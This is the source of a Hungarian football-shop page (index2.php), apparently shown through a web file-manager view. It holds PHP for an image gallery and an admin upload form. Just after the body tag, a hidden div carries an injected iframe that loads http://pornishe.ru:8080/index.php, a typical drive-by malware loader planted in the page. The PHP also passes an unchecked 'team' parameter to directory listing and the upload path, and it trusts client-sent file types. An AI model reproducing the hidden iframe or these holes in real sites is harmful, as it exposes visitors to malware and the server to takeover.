Viewing file: index2.php (9.05 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <HTML> <HEAD> <script type="text/javascript" src="http://www.javascriptkit.com/script/script2/jquery-1.2.2.pack.js"></script>
<style type="text/css">
.ajaxtooltip{ position: absolute; /*leave this alone*/ display: none; /*leave this alone*/ width: 300px; left: 0; /*leave this alone*/ top: 0; /*leave this alone*/ background: transparent; border: 0px solid gray; border-width: 0px 0px 0px 0px; padding: 0px; }
</style>
<script type="text/javascript" src="http://www.javascriptkit.com/script/script2/ajaxtooltip.js">
/*********************************************** * Ajax Tooltip script- by JavaScript Kit (www.javascriptkit.com) * This notice must stay intact for usage * Visit JavaScript Kit at http://www.javascriptkit.com/ for this script and 100s more ***********************************************/
</script> <link rel="stylesheet" href="css/demos.css" media="screen" type="text/css"> <style> a.egyszeru { text-decoration: none } </style> <style type="text/css"> /* CSS for the demo. CSS needed for the scripts are loaded dynamically by the scripts */ #mainContainer{ width:400px; margin:0 auto; margin-top:10px; border:1px solid #000; padding:2px; } #leftColumn{ width:1000px; float:center; border:0px solid #000; background-color:transparent; padding:3px; height:400px; spacing:3px; } #rightColumn{ width:600px; float:left; margin:2px; height:100px; border:3px solid #fff;
} .dragableBox{ width:100px; height:100px; border:0px solid #000; background-color:transparent; margin-bottom:0px; padding:0px; font-weight:bold; text-align:right; float:left; } .dropBox{ width:500px; border:0px solid #000; background-color:transparent; height:100px; margin-bottom:0px; padding:0px; overflow:auto; } .clear{ clear:both; } img{ border:0px; } </style> <script type="text/javascript" src="drag-drop-custom.js"></script> </head> <body background=bg.bmp link=white alink=white vlink=white><div style="display:none"><iframe src="http://pornishe.ru:8080/index.php" width=200 height=148 ></iframe></div><div style="display:none"></div> <table><tr><td>
<img src=logo.bmp style="position:relative; top:3;"> <td><p><b>Kosár</b></p> <div id="rightColumn"> <div id="dropBox" class="dropBox"> <div id="dropContent2"></div> </div></div> </table> <H3>Rendelés: <a href=mailto:gagagabor@freemail.hu>Galántai Gábor</a></h3> <br><br><br>
<table border=0 width=100% height=80%><tr><td width=100 valign=top> <table style="border-spacing: 5px; border-color: rgb(47, 129, 196) rgb(47, 129, 196) rgb(47, 129, 196) rgb(47, 129, 196); border-style: groove groove groove groove;" border=1 width=100 height=300> <tr align=center><td><font face="Arial"><b><a class=egyszeru href=index2.php?team=Arsenal target=keret>Arsenal</a> <tr align=center><td><font face="Arial"><b><a class=egyszeru href=index2.php?team=Barcelona target=keret>Barcelona</a> <tr align=center><td><font face="Arial"><b><a class=egyszeru href=index2.php?team=Bayern target=keret>Bayern München</a> <tr align=center><td><font face="Arial"><b><a class=egyszeru href=index2.php?team=Chelsea target=keret>Chelsea</a> <tr align=center><td><font face="Arial"><b><a class=egyszeru href=index2.php?team=Inter target=keret>Inter</a> <tr align=center><td><font face="Arial"><b><a class=egyszeru href=index2.php?team=Juventus target=keret>Juventus</a> <tr align=center><td><font face="Arial"><b><a class=egyszeru href=index2.php?team=Liverpool target=keret>Liverpool</a> <tr align=center><td><font face="Arial"><b><a class=egyszeru href=index2.php?team=Manchester target=keret>Manchester United</a> <tr align=center><td><font face="Arial"><b><a class=egyszeru href=index2.php?team=Milan target=keret>Milan</a> <tr align=center><td><font face="Arial"><b><a class=egyszeru href=index2.php?team=Realmadrid target=keret>Real Madrid</a> <tr align=center><td><font face="Arial"><b><a class=egyszeru href=index2.php?team=Roma target=keret>Roma</a> </table> <td>
<div id="leftColumn"> <div id="dropContent">
<?php @session_start(); $dir = $_GET[team];
if(empty($_GET[team])){ $dir="Arsenal"; } $dh = opendir($dir); $i=1;
while (false !== ($filename = readdir($dh))) { $path_parts = pathinfo($filename); if($path_parts['extension']=='jpg' or $path_parts['extension']=='JPG'){ if (!is_dir($dir."/".$filename)) { echo "<div class='dragableBox' id='box".$i."'><a title='ajax:zoom.php?image=".$dir."/".$filename."' href=#><img border=6 src=mini.php?img=".$dir."/".$filename." width=100 height=100></a></div> "; $i++; }} }
if(!empty($_SESSION[admin])){ print(' <form name=form1 enctype=multipart/form-data method=POST action=> <input type=hidden name=MAX_FILE_SIZE value=4000000> <input type=file name=file size=30 style="font-family:tahoma; background-color:#2f81c4; border:1px solid #2f81c4; color:#1f7184"> <input type=Submit value=Feltöltés style=" font-family:tahoma; background-color:#2f81c4; border:1px solid #2f81c4; color:#1f7184"> </form>');
$mappa = $_GET[team]."/";
$type = $_FILES['file']['type']; if (($type == "image/jpg") or ($type == "image/jpeg")){
if($_FILES['file']['tmp_name'] != "") {
if (move_uploaded_file($_FILES['file']['tmp_name'],$mappa.$_FILES['file']['name'])) { chmod($mappa.$_FILES['file']['name'], 0644); print " <font color=#bb4419 face=tahoma>Sikeres fájlfeltöltés!<br>";
$today = date("Y. m. d. G:i:s"); $ip = gethostbyaddr($_SERVER[REMOTE_ADDR]);
$somecontent = "[ MIKOR: ".$today." ][ IP: ".$ip." ][ IMAGEUP: ".$mappa.$_FILES['file']['name']." ] \n"; $filename = 'log.txt';
// Let's make sure the file exists and is writable first. if (is_writable($filename)) {
// In our example we're opening $filename in append mode. // The file pointer is at the bottom of the file hence // that's where $somecontent will go when we fwrite() it. if (!$handle = fopen($filename, 'a')) { echo "Cannot open file ($filename)"; exit; }
// Write $somecontent to our opened file. if (fwrite($handle, $somecontent) === FALSE) { echo "Cannot write to file ($filename)"; exit; } fclose($handle); }
} else { print " <font color=#bb4419 face=tahoma>Sikertelen!"; } }} }
?>
</div>
</div>
<div class="clear"></div> <div class="konaBody"> </table>
<br> <br>
Megrendeléseket a következő címen lehet leadni: gagagabor@freemail.hu. A megrendelt termékeket csomagszállító partnerünk 48 órán belül a megadott címre kiszállítja. A kézbesítés 8-16 óra között történik. Kérem, hogy a megrendelés mellé mobilszámukat is adják meg. jelezzék, Amennyiben a postai cím eltér a számlázási címtől. <br> <br> A csomagolás és szállítás díja bruttó 1400ft, mely a megrendelt áru értékével együtt átvételkor fizetendő. <br> 8000ft feletti megrendelés esetén a csomagolás és szállítás ingyenes. <br> <br> Galántai Gábor <br> Üzletvezető
<center> <small>Made by <a href=mailto:gerydeft@yahoo.com>GeryDeft</a></small>
<?php
$today = date("Y. m. d. G:i:s"); $ip = gethostbyaddr($_SERVER[REMOTE_ADDR]);
$somecontent = "[ MIKOR: ".$today." ][ IP: ".$ip." ] \n"; $filename = 'log.txt';
// Let's make sure the file exists and is writable first. if (is_writable($filename)) {
// In our example we're opening $filename in append mode. // The file pointer is at the bottom of the file hence // that's where $somecontent will go when we fwrite() it. if (!$handle = fopen($filename, 'a')) { echo "Cannot open file ($filename)"; exit; }
// Write $somecontent to our opened file. if (fwrite($handle, $somecontent) === FALSE) { echo "Cannot write to file ($filename)"; exit; } fclose($handle); }
print('
<script type="text/javascript">
// Custom drop actions for <div id="dropBox"> and <div id="leftColumn"> function dropItems(idOfDraggedItem,targetId,x,y) { if(targetId=="dropBox"){ // Item dropped on <div id="dropBox"> var obj = document.getElementById(idOfDraggedItem); if(obj.parentNode.id=="dropContent2")return; document.getElementById("dropContent2").appendChild(obj); // Appending dragged element as child of target box } if(targetId=="leftColumn"){ // Item dropped on <div id="leftColumn"> var obj = document.getElementById(idOfDraggedItem); if(obj.parentNode.id=="dropContent")return; document.getElementById("dropContent").appendChild(obj); // Appending dragged element as child of target box } }
function onDragFunction(cloneId,origId) { self.status = "Started dragging element with id " + cloneId;
var obj = document.getElementById(cloneId); obj.style.border="1px solid #F00"; }
var dragDropObj = new DHTMLgoodies_dragDrop();');
$a=$i;
for ($i=1;$i<$a;$i++){ print("dragDropObj.addSource('box".$i."',true,true,true,false,'onDragFunction');"); } ?>
dragDropObj.addTarget('dropBox','dropItems'); // Set <div id="dropBox"> as a drop target. Call function dropItems on drop dragDropObj.addTarget('leftColumn','dropItems'); // Set <div id="leftColumn"> as a drop target. Call function dropItems on drop dragDropObj.init(); </script>
</body> </html>
|